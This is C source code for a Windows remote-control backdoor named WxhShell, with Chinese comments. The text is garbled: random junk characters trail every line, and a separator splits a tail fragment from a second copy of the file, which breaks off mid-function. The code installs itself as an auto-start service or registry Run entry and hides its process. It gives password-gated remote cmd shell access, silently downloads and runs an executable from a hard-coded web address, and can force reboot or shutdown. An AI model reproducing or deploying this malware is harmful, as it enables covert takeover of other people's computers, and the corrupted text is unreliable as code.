    if(Boot(SHUTDOWN)) =yk#z84<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tWD*uA b  
    else { i9w xP i  
    closesocket(wsh); 7M5HIK6_  
    ExitThread(0); T7&itgEYG/  
    } ;sb0,2YyP  
    break; URY%+u  
    } )6Z)z;n]aW  
  // 获取shell 3 nb3rHQ  
  case 's': { >KC*xa"  
    CmdShell(wsh); dA)7d77  
    closesocket(wsh); *F2obpU  
    ExitThread(0); 9v0f4Pbxm  
    break; UI |D?z<  
  } Nqz-Mr`  
  // 退出 3)I v8mA  
  case 'x': { 2L ~U^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lYU_uFOs\  
    CloseIt(wsh); RQv`D&u_  
    break; ykM(` 1` m  
    } W>'R<IY4#N  
  // 离开 s|YY i~  
  case 'q': { R>#T {<<L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t:$p8qR  
    closesocket(wsh); t4 h5R  
    WSACleanup(); QR<IHE{~8  
    exit(1); 7vgz=- MZ#  
    break; {U7j  
        } X2Y-TE T  
  }  XW`&1qx  
  } ^i#F+Q`1  
\Ui8Sgeei  
  // 提示信息 v:<u0B-)$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j =[Td   
} D6c4tA^EO  
  } 8V.x%T  
4e1Zyi!  
  return; rQ. j$U  
} O" n/.`  
P#"vlNa  
// shell模块句柄 %F1 Ce/  
int CmdShell(SOCKET sock) 7teg*M{  
{ 2A {k>TjQ  
STARTUPINFO si; Z6 (;~"Em  
ZeroMemory(&si,sizeof(si)); (T!Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e>y"V; Mj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 99H&#!~bSS  
PROCESS_INFORMATION ProcessInfo; |Ax~zk;  
char cmdline[]="cmd"; 3>/Yku)t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?ZE1>L7e  
  return 0; 8x[q[  
} !Vv$  
^=FtF9v  
// 自身启动模式 ~{oM&I|d8  
int StartFromService(void) {>>f5o 3  
{ ?,TON5Fl-  
typedef struct  jats)!:  
{ 9Jaek_A`  
  DWORD ExitStatus; X{<j%PdC  
  DWORD PebBaseAddress; OV Iu&6#  
  DWORD AffinityMask; p7Gs  
  DWORD BasePriority; 5(tOQ%AQ  
  ULONG UniqueProcessId; IgQW 5E#  
  ULONG InheritedFromUniqueProcessId; !$f@j6.  
}   PROCESS_BASIC_INFORMATION; f \[Z`D  
qP*$wKY,  
PROCNTQSIP NtQueryInformationProcess; :1s6h%evrT  
'72ZLdi}-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .pr-  ^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,z<\Z!+=  
%)u5A !"  
  HANDLE             hProcess; >/eQjp?:  
  PROCESS_BASIC_INFORMATION pbi; 7YkxIzE  
n<y!@p^X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I( G8cK  
  if(NULL == hInst ) return 0; \{P(s:  
X#Ajt/XQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7Oru{BQ">  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SP 97Q-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;HgV(d#X  
owJPEx  
  if (!NtQueryInformationProcess) return 0; O.  V!L  
O5LB&s   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ie=tM'fb  
  if(!hProcess) return 0; iw12x:  
a$l/N{<.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J}nE,U2  
uJ{N?  
  CloseHandle(hProcess); Pv+[N{  
nkSYW]aQ1g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q_ykB8Ensa  
if(hProcess==NULL) return 0; *3s4JK  
=VH, i/@  
HMODULE hMod; d {T3  
char procName[255]; ;sS N  
unsigned long cbNeeded; YJ_LD6PL9  
<._MNHC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6&`.C/"2  
K\`L>B. 1  
  CloseHandle(hProcess); mflH&Bx9  
@c9VCG D  
if(strstr(procName,"services")) return 1; // 以服务启动 >s1'I:8  
bN8GRK )  
  return 0; // 注册表启动 ~Q0gSazXFt  
} )K4 |-<i  
w<| ^i*  
// 主模块 pBG(%3PpW  
int StartWxhshell(LPSTR lpCmdLine) `sAz1/N  
{ x%jJvwb^|  
  SOCKET wsl; `u 3to{  
BOOL val=TRUE; $,bLK|<hi  
  int port=0; 6OkN(tL&.  
  struct sockaddr_in door; pkWzaf  
Bq#?g@V  
  if(wscfg.ws_autoins) Install(); weEmUw Z  
rL w,?  
port=atoi(lpCmdLine); Ont4-AP   
9_n!.zA<  
if(port<=0) port=wscfg.ws_port; i<YatW~Pu  
|-bSoq7t  
  WSADATA data; cP''  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L6fc_Mo.EE  
b?hdWQSW7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7q<I7Wt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XI~2Vzht  
  door.sin_family = AF_INET; Ec y|l ;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 82WXgB>  
  door.sin_port = htons(port); [k ZvBd  
6'3@/.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qv,8tdx  
closesocket(wsl); #(mm6dj  
return 1; s/ibj@h  
} ;\DXRKR  
<(TTYf8lS  
  if(listen(wsl,2) == INVALID_SOCKET) {  (f,D$mX  
closesocket(wsl); 0Y,_ DU  
return 1; 7?:7}xb-  
} iov55jT~l@  
  Wxhshell(wsl); 6kK\nZ$o$  
  WSACleanup(); Xm8 1axyf  
q g?q|W  
return 0; kL 6f^MoL  
oe}nrkmb  
} {'4h.PB+r  
J@54B  
// 以NT服务方式启动 ,3Y~ #{,i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u.YPb@  
{ .Wv2aJq  
DWORD   status = 0; T^x7w+  
  DWORD   specificError = 0xfffffff; !j#Z48=&  
UQgOtqL3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WBFG_])  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u>Z;/kr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QKDY:1]  
  serviceStatus.dwWin32ExitCode     = 0; o>mZ$  
  serviceStatus.dwServiceSpecificExitCode = 0; Q* ifmnB'  
  serviceStatus.dwCheckPoint       = 0; JEL =,0J  
  serviceStatus.dwWaitHint       = 0; DBANq\  
awQ f$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .?UK`O2Q  
  if (hServiceStatusHandle==0) return; vE0Ty9OH"]  
m=b~Wf39  
status = GetLastError(); lG;RfDI-  
  if (status!=NO_ERROR) *G7$wW:?  
{ D *RF._  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qcEiJ}-  
    serviceStatus.dwCheckPoint       = 0; Y0:y72mK  
    serviceStatus.dwWaitHint       = 0; 8`XT`H  
    serviceStatus.dwWin32ExitCode     = status; 55 )!cw4  
    serviceStatus.dwServiceSpecificExitCode = specificError; zA=gDuy3@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .|}ogTEf  
    return; PdcF  
  } p&ytUT na  
8'Sw?FbVA/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .%j&#(!  
  serviceStatus.dwCheckPoint       = 0; ?sWPx!tU  
  serviceStatus.dwWaitHint       = 0; r+-KrO'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Sd'!(M^k3  
} dtw1Am#Ci  
; {$9Sc $  
// 处理NT服务事件,比如:启动、停止 SUsD)!u_H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s,XKl5'+8e  
{ pV]m6! y&  
switch(fdwControl) fEf ",{I  
{ s7e)Mt  
case SERVICE_CONTROL_STOP: {|= 8wB  
  serviceStatus.dwWin32ExitCode = 0; Sh(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ; >Tko<  
  serviceStatus.dwCheckPoint   = 0; gO_{(\w*  
  serviceStatus.dwWaitHint     = 0; KoZ" yD  
  { h<U<K O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M/C7<?&  
  } Aq@_^mq1A  
  return; vU0j!XqE  
case SERVICE_CONTROL_PAUSE: 0|E!e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N>!RKf:ir  
  break; "PK\;#[W|  
case SERVICE_CONTROL_CONTINUE: NXb_hF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4vKp341B  
  break; Bh$ hgf.C  
case SERVICE_CONTROL_INTERROGATE: 0i/l2&x*k]  
  break; ??0C"8:[  
}; vY0C(jK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mJe;BU"y]  
} /{Ksi+q  
.q$HL t  
// 标准应用程序主函数 *ci,;-*C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w|!>>W6J  
{ )_N|r$i\  
(yIl]ZN*  
// 获取操作系统版本 flDe*F^  
OsIsNt=GetOsVer(); #D~atgR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >Vz Gx(7q  
(~}IoQp>  
  // 从命令行安装 %tEjf 3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^vmT=f;TM  
+U_> Bo  
  // 下载执行文件 S'm&Ll2i@  
if(wscfg.ws_downexe) { G,I[zhX\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v J9Uw  
  WinExec(wscfg.ws_filenam,SW_HIDE); LDqq'}qK6  
} m|!R/,>S4  
)u?pqFH  
if(!OsIsNt) { +X6x CE  
// 如果时win9x,隐藏进程并且设置为注册表启动 P6V_cw$  
HideProc(); 8wz%e(  
StartWxhshell(lpCmdLine); |fnP@k  
} >ly`1t1  
else }la\?I  
  if(StartFromService()) m`C c U`s  
  // 以服务方式启动 ka? |_(  
  StartServiceCtrlDispatcher(DispatchTable); vHSX3\(  
else fWiefv[&  
  // 普通方式启动 Mqc"  
  StartWxhshell(lpCmdLine); AB<|iJC  
?Iy$'am]L  
return 0; 8?#4<4Ql8  
} Kcv7C{-/  
V)#se"GV  
lj0"2@z3"E  
6p`AdDV  
=========================================== [mX/]31  
}9yAYZ0q{b  
!wy Qk  
Y^DS~CrM  
d\&{Ev9v  
o}H7;v8H  
" )jk X&7x  
?,~B@Kx  
#include <stdio.h> #G2~#\  
#include <string.h> (#x <qi,T  
#include <windows.h> .w=( G  
#include <winsock2.h> Y/cnj n  
#include <winsvc.h> }pOL[$L  
#include <urlmon.h> W FVx7  
;mH O#  
#pragma comment (lib, "Ws2_32.lib") <>JN&#3?  
#pragma comment (lib, "urlmon.lib") NFq&a i  
*6D0>F  
#define MAX_USER   100 // 最大客户端连接数 _aa3;kT_  
#define BUF_SOCK   200 // sock buffer 1|$V  
#define KEY_BUFF   255 // 输入 buffer [iVCorU  
iq'hel  
#define REBOOT     0   // 重启 L -z37kG^  
#define SHUTDOWN   1   // 关机 xL8r'gV@  
6UK{0\0  
#define DEF_PORT   5000 // 监听端口 mYLqT$t.+  
`B6~KZ  
#define REG_LEN     16   // 注册表键长度 h8@8Q w  
#define SVC_LEN     80   // NT服务名长度 2Zt :]be  
e~]3/0  
// 从dll定义API Za68V/Vj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y'\BpP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wBz?OnD/D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +-tvNX%IJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .^6;_s>FN  
N~7xj?  
// wxhshell配置信息 !$&k@#v:  
struct WSCFG { K=,nX7Z5  
  int ws_port;         // 监听端口 )p*I(y  
  char ws_passstr[REG_LEN]; // 口令 u[nx?!  
  int ws_autoins;       // 安装标记, 1=yes 0=no xCU^4DO3p  
  char ws_regname[REG_LEN]; // 注册表键名 ^Ud1 ag!-  
  char ws_svcname[REG_LEN]; // 服务名 $|+q9 o\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .B 2?%2S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q72}V9I9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WJH-~,u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f Z8%Z   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ' >a(|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 { FVLH:{U^  
}diB  
}; n0|oV(0FE  
\Tf[% Kt x  
// default Wxhshell configuration _dOR-<  
struct WSCFG wscfg={DEF_PORT, fik*-$V`  
    "xuhuanlingzhe", GIXxOea1  
    1, 1k-YeQNe  
    "Wxhshell", VB 53n'  
    "Wxhshell", h'*>\eC6  
            "WxhShell Service", ZlaU+Y(_[  
    "Wrsky Windows CmdShell Service", 7ux0|l  
    "Please Input Your Password: ", {OFbU  
  1, cp D=9k!*K  
  "http://www.wrsky.com/wxhshell.exe", 0($@9k4!/  
  "Wxhshell.exe" [O)(0  
    }; g\9I&z~?  
_dQVundH  
// 消息定义模块 mocR_3=Q?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CjtBQ5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <1")JDW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; },r30`)Q  
char *msg_ws_ext="\n\rExit."; :cDhqBMNr`  
char *msg_ws_end="\n\rQuit."; n~~0iU )  
char *msg_ws_boot="\n\rReboot..."; fTQ_miAlP  
char *msg_ws_poff="\n\rShutdown..."; IQn|0$':Z  
char *msg_ws_down="\n\rSave to "; 8 MUY  
+um Ua  
char *msg_ws_err="\n\rErr!"; b4TZnO  
char *msg_ws_ok="\n\rOK!"; qg521o$*  
$ = uz  
char ExeFile[MAX_PATH]; :r5DR`Rfm  
int nUser = 0; K)NB{8 _  
HANDLE handles[MAX_USER]; B[XVTok  
int OsIsNt; =W+ h.?  
E?$|`<o{|`  
SERVICE_STATUS       serviceStatus; %:61@<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tE&@U$0>o  
""AP-7  
// 函数声明 BS-nny  
int Install(void); w[`2t{^j  
int Uninstall(void); Po+I!TL'  
int DownloadFile(char *sURL, SOCKET wsh); y3!r;>2k=  
int Boot(int flag); Fk&W*<}/;  
void HideProc(void); 5Q_ T=TL  
int GetOsVer(void); ,&+"|,m  
int Wxhshell(SOCKET wsl); LJ^n6 m|_  
void TalkWithClient(void *cs); =E{e|(1+u  
int CmdShell(SOCKET sock); :X1~  
int StartFromService(void); W lD cKY  
int StartWxhshell(LPSTR lpCmdLine); sZ~q|}D-  
LW+a-i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RM^3Snd=V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $U3|.4  
z^@.b  
// 数据结构和表定义 FE}!I  
SERVICE_TABLE_ENTRY DispatchTable[] = +y%"[6c|  
{ &/%A 9R,  
{wscfg.ws_svcname, NTServiceMain}, bCv=Uo,+6  
{NULL, NULL} +w'"N  
}; jZRf{  
$!~R'N c  
// 自我安装 `2}Frw+?  
int Install(void) |r5e#3w  
{ kNC.^8ryz[  
  char svExeFile[MAX_PATH]; {VB n@^'s  
  HKEY key; , `4chD  
  strcpy(svExeFile,ExeFile); +>zjTP7\e"  
8KxBN)fO;  
// 如果是win9x系统,修改注册表设为自启动 {2|[7oNT6  
if(!OsIsNt) {  z]/;?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j41)X'MgJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M4%u~Z:4h+  
  RegCloseKey(key); uc0 1{t0,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bfjC:"!H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4CUoXs'  
  RegCloseKey(key); 2(SU# /,  
  return 0; <>gX'te  
    } TH;kJ{[}  
  } ny(`An  
} ;$`5L"I5$  
else { ' 7lHWqN<  
Se0!-NUK0  
// 如果是NT以上系统,安装为系统服务 2 kP0//  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y. xt7 F1  
if (schSCManager!=0) R?%J   
{ h=:*cqp4  
  SC_HANDLE schService = CreateService 4rcNBmA,  
  ( bOEO2v'cQ  
  schSCManager, +"sjkdum1  
  wscfg.ws_svcname, (d> M/x?W  
  wscfg.ws_svcdisp, cRR[ci34k  
  SERVICE_ALL_ACCESS, {6_M$"e.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8R3x74fL  
  SERVICE_AUTO_START, pUGFQ."\  
  SERVICE_ERROR_NORMAL, W6e,S[J^FY  
  svExeFile, i~};5j(  
  NULL, ]lX`[HX7  
  NULL, *3uBS2Ld  
  NULL, > whcZ.8  
  NULL, -qI8zs$:5  
  NULL 4AIo,{(  
  ); 5%qq#;[ n  
  if (schService!=0)  X.q,  
  { TFfV?rBI  
  CloseServiceHandle(schService); cO8':P5Q  
  CloseServiceHandle(schSCManager); :.k1="H~@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kp6{QKDj&  
  strcat(svExeFile,wscfg.ws_svcname); 3/aK#TjK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1*x;jO>Hk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I]4L0r-  
  RegCloseKey(key); PRdyc+bf  
  return 0; 6 5%WjO  
    } lx'^vK%F  
  } }@)r\t4m  
  CloseServiceHandle(schSCManager); Li'>pQ+  
} Z<yLu'48)A  
} %>z4hH,  
%9 q]  
return 1; F K7cDaI  
} v>XAzA  
4# L}&  
// 自我卸载 d@0p<at>~  
int Uninstall(void) L:.z FW,  
{ Bf21u 9  
  HKEY key; 8Q{"W"]O7  
NsPAWI|4  
if(!OsIsNt) { yb-1zF|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7R4t%^F  
  RegDeleteValue(key,wscfg.ws_regname); <:n !qQS6  
  RegCloseKey(key); ]+"25V'L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3} 7`?$ 5  
  RegDeleteValue(key,wscfg.ws_regname); 2l4*6rYa(  
  RegCloseKey(key); (&B`vgmb  
  return 0; vcmB)P-T`O  
  } ~E8L,h~  
} #J Ay  
} eP?=tUB!S  
else { ir{li?kV  
5LF&C0v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bQvhBa?  
if (schSCManager!=0) D<QE?:#  
{ < dD)>Y.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CE|iu!-4  
  if (schService!=0) aPwUC:>`D  
  { t'e\Z2  
  if(DeleteService(schService)!=0) { [ ,&O  
  CloseServiceHandle(schService); Irc(5rD7   
  CloseServiceHandle(schSCManager); ~pC\"LU`  
  return 0; JK/gq}c  
  } 9n#lDL O  
  CloseServiceHandle(schService); *QGyF`Go{  
  } HM]mOmL90N  
  CloseServiceHandle(schSCManager); x 8/I"!gI  
} LmZ"_  
} Y'{F^VxA/  
=pCO1<wR  
return 1; Wik8V0(  
} lz [s  
O a%ZlEUF  
// 从指定url下载文件 8Y,imj\(v  
int DownloadFile(char *sURL, SOCKET wsh) xU!eT'Y  
{ \C}_l+nY  
  HRESULT hr; mm:g9j  
char seps[]= "/"; ;ztt*py  
char *token; (M-W ea!q  
char *file; ln2lFfz  
char myURL[MAX_PATH]; %K[u  
char myFILE[MAX_PATH]; qRc Y(mb  
Q H 57[Yg  
strcpy(myURL,sURL); >Y6iLQ$X  
  token=strtok(myURL,seps); pQNTN.L9NZ  
  while(token!=NULL) -<{;.~nI.  
  { u85  dG7  
    file=token; +B&,$ceyaJ  
  token=strtok(NULL,seps); '* eeup  
  } b6?&h:{k  
(MGYX_rD  
GetCurrentDirectory(MAX_PATH,myFILE); EY^+ N>  
strcat(myFILE, "\\"); X-<l+WP  
strcat(myFILE, file); JC.nfxG@:  
  send(wsh,myFILE,strlen(myFILE),0); c9:8KMF)  
send(wsh,"...",3,0); ~QngCg-5q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fl}{"eCF8  
  if(hr==S_OK) <}Hs@`jS  
return 0; O>3f*Cc  
else pGdFeEkB/  
return 1; "qdEu KI  
%F}i2!\<L  
} l<)k`lrMX4  
od-yVE&  
// 系统电源模块 2r"J"C  
int Boot(int flag) P^57a?[`  
{ EM7Z g 65  
  HANDLE hToken; b[rVr J  
  TOKEN_PRIVILEGES tkp; a{@gzB  
Db K(Rh_ K  
  if(OsIsNt) { Yv/T6z@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gZ>) S@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [J8;V|v  
    tkp.PrivilegeCount = 1; 045_0+r"@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `LOW)|6r`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sXwa`_{  
if(flag==REBOOT) { F #)@ c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E<[ Y KY  
  return 0; fZavZ\qU  
} P47x-;  
else { Ih<.2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _$P1N^}Zs  
  return 0; 0^83:C ^{  
} \h@3dJ4  
  } awl3|k/  
  else { t Uk)S  
if(flag==REBOOT) { b!JrdJO,DP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m0p%R>:5  
  return 0; Fv-~v&  
} \A 5Na-/9  
else { /liZ|K3A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ugzrG0=lx  
  return 0; uqvS  
} ctMH5"F&1  
} -BC`p 8  
N}ZBtkR  
return 1; T h!;zu^t  
} -<l2 $&KS  
Wi@YJ  
// win9x进程隐藏模块 Vr:`?V9Q2(  
void HideProc(void) C@3UsD\s(  
{ mRIBE9K+&  
;;K ~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4+J>/ xiZ  
  if ( hKernel != NULL ) qH(HcsgD  
  { dC>(UDC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,Bs/.htQj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )I"I[jDw  
    FreeLibrary(hKernel); PYiO l  
  } %.WW-S3  
6xLQ  
return; wpg7xx!  
} Ot{~mMDp  
5><T#0W?  
// 获取操作系统版本 gKP=@v%-  
int GetOsVer(void) 8GeJ%^0o}  
{ 6x;!E&<  
  OSVERSIONINFO winfo; p$}/~5b}4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X<Ag['r  
  GetVersionEx(&winfo); <+Gf!0i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jJD*s/o  
  return 1; E:y^= Y  
  else n.XgGT=L  
  return 0; ,uPN\`.u8  
} >P ~j@Lv  
P)O:lYX  
// 客户端句柄模块 ^Rh}[  
int Wxhshell(SOCKET wsl) * !9=?  
{ S1#5oy2  
  SOCKET wsh; c8Nl$|B  
  struct sockaddr_in client; Nw '$r  
  DWORD myID; Q^8/"aV\  
8@/MrEOW#  
  while(nUser<MAX_USER) FXul u6"SX  
{ Fl!D2jnN  
  int nSize=sizeof(client); &88c@Ksn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2U3e!V  
  if(wsh==INVALID_SOCKET) return 1; eV"s5X[$  
yO` |X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >T)tAZ?WK  
if(handles[nUser]==0) @F/,~|{iM  
  closesocket(wsh); 2({|LQqk  
else n~ZZX={a  
  nUser++; <}G/x*N  
  } ux~=}{tz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `Hqgahb{P  
Wm4C(y@  
  return 0; &Im-@rV!  
} )J?8"+_Y  
]X> I(p@  
// 关闭 socket BO2s(8  
void CloseIt(SOCKET wsh) R$`%<Y3)  
{ xDNXI01o  
closesocket(wsh); @hwNM#>`  
nUser--; @Z5,j)  
ExitThread(0); 9&{z?*  
} Vha,rIi  
)q`.tsR>  
// 客户端请求句柄 "wCx]{Di  
void TalkWithClient(void *cs) bB)$=7\  
{ >7r%k,`  
#/5eQTBD  
  SOCKET wsh=(SOCKET)cs; vdigw.=z  
  char pwd[SVC_LEN]; ,w f6gmh8  
  char cmd[KEY_BUFF]; V.ETuS;  
char chr[1]; Et y?/  
int i,j; Ezev ^O]   
?*.:*A  
  while (nUser < MAX_USER) { _St ":9'uU  
ke k/C`7  
if(wscfg.ws_passstr) { S$gLL kD1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =!)x`1j!S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P/xE n_*v  
  //ZeroMemory(pwd,KEY_BUFF); BF 0#G2`h>  
      i=0; `KZu/r-M9  
  while(i<SVC_LEN) { K'B*D*w  
zN9#qlfv  
  // 设置超时 ^Vi{._r  
  fd_set FdRead; gjx-tp 1.  
  struct timeval TimeOut;  OO</d:  
  FD_ZERO(&FdRead); xUNq!({T  
  FD_SET(wsh,&FdRead); 5gkQ6& m  
  TimeOut.tv_sec=8; d|8-#.gV  
  TimeOut.tv_usec=0;  ^"~r/@l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t|s(V-Wq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9{e/ V)  
o'Fyo4Qd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ObJ-XNcNH  
  pwd=chr[0]; <oi'yr  
  if(chr[0]==0xd || chr[0]==0xa) { 3h$E^"  
  pwd=0; ~7FS'!W,F  
  break; 1CR\!?  
  } <Mu T7x-  
  i++; xel|,|*Yq  
    } 4|\  
x$t2Y<_  
  // 如果是非法用户,关闭 socket *3]2vq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kz z/]  
} l-Ha*>gX[j  
{{B'65Wu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zhbSiw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6=Wevb5YJ  
n^b CrvD  
while(1) { 0FLCN!i1  
"?kDR1=7A  
  ZeroMemory(cmd,KEY_BUFF); w`D$W&3>  
+o'xyR'(  
      // 自动支持客户端 telnet标准   fwmXIpteK  
  j=0; o5sw]R5  
  while(j<KEY_BUFF) { uF1&m5^W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U#bmMH  
  cmd[j]=chr[0]; Ya> AI.!K  
  if(chr[0]==0xa || chr[0]==0xd) { 1k^$:'  
  cmd[j]=0; F|VKrH.  
  break; ?|pP&8r  
  } jE=m4_Ntn  
  j++; c`&g.s@N\  
    } R]o0V*n  
Z9MR"!0  
  // 下载文件 R*D5n>~  
  if(strstr(cmd,"http://")) { *]}F=dtR k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `'*4B_.  
  if(DownloadFile(cmd,wsh)) :_]0 8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MppT"t  
  else z}B8&*>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {'[VL;k  
  } ]N;n q  
  else { A:D9qp  
3aBE[  
    switch(cmd[0]) { @'5*jXd  
  w<zzS: PF*  
